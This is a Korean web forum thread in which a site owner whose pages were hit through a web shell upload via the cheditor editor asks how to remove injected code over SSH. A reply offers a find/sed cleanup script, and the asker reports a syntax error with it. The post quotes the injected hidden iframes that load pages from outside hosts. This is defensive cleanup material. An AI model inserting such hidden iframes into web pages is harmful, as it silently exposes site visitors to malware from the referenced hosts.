ssh로 사이트 악성코드 한번에 지울수 있나요?
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
댓글 2개
14년 전
http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
myreplace.sh 를 아래와 같이 만들고
chmod +x myreplace.sh 로 퍼미션 설정 후
실행해 보세요.
sh myreplace.sh 또는 ./myreplace.sh
#!/bin/sh
for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
아갈갤러리
14년 전
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done
라 뜨네요..
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 3530 | 14년 전 | 914 | ||
| 3529 | 14년 전 | 1134 | ||
| 3528 |
|
14년 전 | 1340 | |
| 3527 | 14년 전 | 1190 | ||
| 3526 |
|
14년 전 | 892 | |
| 3525 | 14년 전 | 1183 | ||
| 3524 | 14년 전 | 1402 | ||
| 3523 | 14년 전 | 1371 | ||
| 3522 | 14년 전 | 920 | ||
| 3521 | 14년 전 | 2098 | ||
| 3520 |
|
14년 전 | 436 | |
| 3519 | 14년 전 | 1057 | ||
| 3518 | 14년 전 | 903 | ||
| 3517 |
다케미카코
|
14년 전 | 749 | |
| 3516 |
|
14년 전 | 1240 | |
| 3515 |
NS미디어
|
14년 전 | 1676 | |
| 3514 | 14년 전 | 1032 | ||
| 3513 |
FreeZone
|
14년 전 | 821 | |
| 3512 |
|
14년 전 | 827 | |
| 3511 | 14년 전 | 1087 | ||
| 3510 | 14년 전 | 1381 | ||
| 3509 | 14년 전 | 1478 | ||
| 3508 | 14년 전 | 550 | ||
| 3507 | 14년 전 | 1099 | ||
| 3506 |
|
14년 전 | 989 | |
| 3505 | 14년 전 | 1009 | ||
| 3504 | 14년 전 | 1734 | ||
| 3503 |
letsgolee
|
14년 전 | 1496 | |
| 3502 | 14년 전 | 1381 | ||
| 3501 | 14년 전 | 1137 | ||
| 3500 | 14년 전 | 1152 | ||
| 3499 | 14년 전 | 1767 | ||
| 3498 |
리눅스초보100
|
14년 전 | 797 | |
| 3497 |
네비플러스
|
14년 전 | 578 | |
| 3496 |
도와주세요
|
14년 전 | 841 | |
| 3495 | 14년 전 | 819 | ||
| 3494 | 14년 전 | 1320 | ||
| 3493 | 14년 전 | 1580 | ||
| 3492 | 14년 전 | 1337 | ||
| 3491 | 14년 전 | 950 | ||
| 3490 | 14년 전 | 1020 | ||
| 3489 | 14년 전 | 1106 | ||
| 3488 | 14년 전 | 2844 | ||
| 3487 |
JMoon
|
14년 전 | 1031 | |
| 3486 | 14년 전 | 1693 | ||
| 3485 | 14년 전 | 1311 | ||
| 3484 | 14년 전 | 954 | ||
| 3483 | 14년 전 | 2241 | ||
| 3482 |
photolate
|
14년 전 | 2661 | |
| 3481 | 14년 전 | 765 | ||
| 3480 | 14년 전 | 1005 | ||
| 3479 | 14년 전 | 1890 | ||
| 3478 |
|
14년 전 | 2276 | |
| 3477 | 14년 전 | 1337 | ||
| 3476 | 14년 전 | 1473 | ||
| 3475 | 14년 전 | 810 | ||
| 3474 | 14년 전 | 1123 | ||
| 3473 | 14년 전 | 1121 | ||
| 3472 | 14년 전 | 1884 | ||
| 3471 | 14년 전 | 1148 | ||
| 3470 | 14년 전 | 821 | ||
| 3469 | 14년 전 | 917 | ||
| 3468 | 14년 전 | 224 | ||
| 3467 | 14년 전 | 968 | ||
| 3466 | 14년 전 | 879 | ||
| 3465 | 14년 전 | 896 | ||
| 3464 |
스카이워커
|
14년 전 | 1430 | |
| 3463 | 14년 전 | 2310 | ||
| 3462 | 14년 전 | 1364 | ||
| 3461 | 14년 전 | 1142 | ||
| 3460 |
New악마
|
14년 전 | 1520 | |
| 3459 | 14년 전 | 774 | ||
| 3458 | 14년 전 | 778 | ||
| 3457 | 14년 전 | 1033 | ||
| 3456 | 14년 전 | 1262 | ||
| 3455 | 14년 전 | 891 | ||
| 3454 | 14년 전 | 1178 | ||
| 3453 | 14년 전 | 1807 | ||
| 3452 | 14년 전 | 789 | ||
| 3451 | 14년 전 | 1122 | ||
| 3450 | 14년 전 | 1142 | ||
| 3449 | 14년 전 | 846 | ||
| 3448 | 14년 전 | 858 | ||
| 3447 | 14년 전 | 1243 | ||
| 3446 | 14년 전 | 1728 | ||
| 3445 | 14년 전 | 1633 | ||
| 3444 | 14년 전 | 1539 | ||
| 3443 |
|
14년 전 | 920 | |
| 3442 | 14년 전 | 1109 | ||
| 3441 | 14년 전 | 943 | ||
| 3440 |
바인플러스
|
14년 전 | 826 | |
| 3439 | 14년 전 | 2020 | ||
| 3438 | 14년 전 | 1289 | ||
| 3437 |
New악마
|
14년 전 | 1230 | |
| 3436 |
카프카07
|
14년 전 | 1295 | |
| 3435 |
|
14년 전 | 1521 | |
| 3434 |
|
14년 전 | 881 | |
| 3433 | 14년 전 | 1660 | ||
| 3432 | 14년 전 | 3947 | ||
| 3431 | 14년 전 | 1885 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기